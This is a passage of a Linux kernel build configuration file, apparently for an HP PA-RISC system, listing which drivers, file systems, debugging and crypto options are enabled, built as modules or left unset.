# CONFIG_BRIDGE is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_SCHED is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set

#
# Wireless
#
# CONFIG_CFG80211 is not set
# CONFIG_WIRELESS_EXT is not set
# CONFIG_MAC80211 is not set
# CONFIG_IEEE80211 is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=m
CONFIG_BLK_DEV_IDE=m

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_BLK_DEV_IDEDISK=m
CONFIG_IDEDISK_MULTI_MODE=y
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
# CONFIG_BLK_DEV_IDESCSI is not set
# CONFIG_IDE_TASK_IOCTL is not set
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_RAID_ATTRS=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_DH is not set
# CONFIG_ATA is not set
# CONFIG_MD is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# Enable only one of the two stacks, unless you know what you are doing
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=y
# CONFIG_LASI_82596 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
CONFIG_NET_VENDOR_3COM=y
# CONFIG_EL1 is not set
# CONFIG_EL2 is not set
# CONFIG_EL16 is not set
# CONFIG_EL3 is not set
CONFIG_VORTEX=y
# CONFIG_TYPHOON is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set
# CONFIG_IWLWIFI_LEDS is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_GSCPS2 is not set
# CONFIG_HP_SDC is not set
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_DEVKMEM is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_GEN_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set

#
# Sonics Silicon Backplane
#
CONFIG_SSB_POSSIBLE=y
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_SOUND=m
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
# CONFIG_SND_SEQUENCER is not set
# CONFIG_SND_MIXER_OSS is not set
# CONFIG_SND_PCM_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
# CONFIG_SND_VERBOSE_PROCFS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_AC97_CODEC=m
# CONFIG_SND_DRIVERS is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_USB is not set
# CONFIG_SND_GSC is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
# CONFIG_HID_SUPPORT is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
# CONFIG_USB_DEBUG is not set
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=m
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
#

#
# may also be needed; see USB_STORAGE Help for more information
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_MON is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_AUERSWALD is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_PHIDGET is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_GADGET is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
# CONFIG_RTC_CLASS is not set
# CONFIG_UIO is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_FS_XATTR is not set
# CONFIG_EXT4DEV_FS is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_FS_POSIX_ACL is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_DNOTIFY is not set
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=0
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_SPINLOCK_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_INFO=y
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
# CONFIG_KEYS is not set
CONFIG_SECURITY=y
CONFIG_SECURITY_NETWORK=y
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_SECURITY_DEFAULT_MMAP_MIN_ADDR=0
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_MANAGER=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set

#
# Digest
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
# CONFIG_CRYPTO_ANUBIS is not set
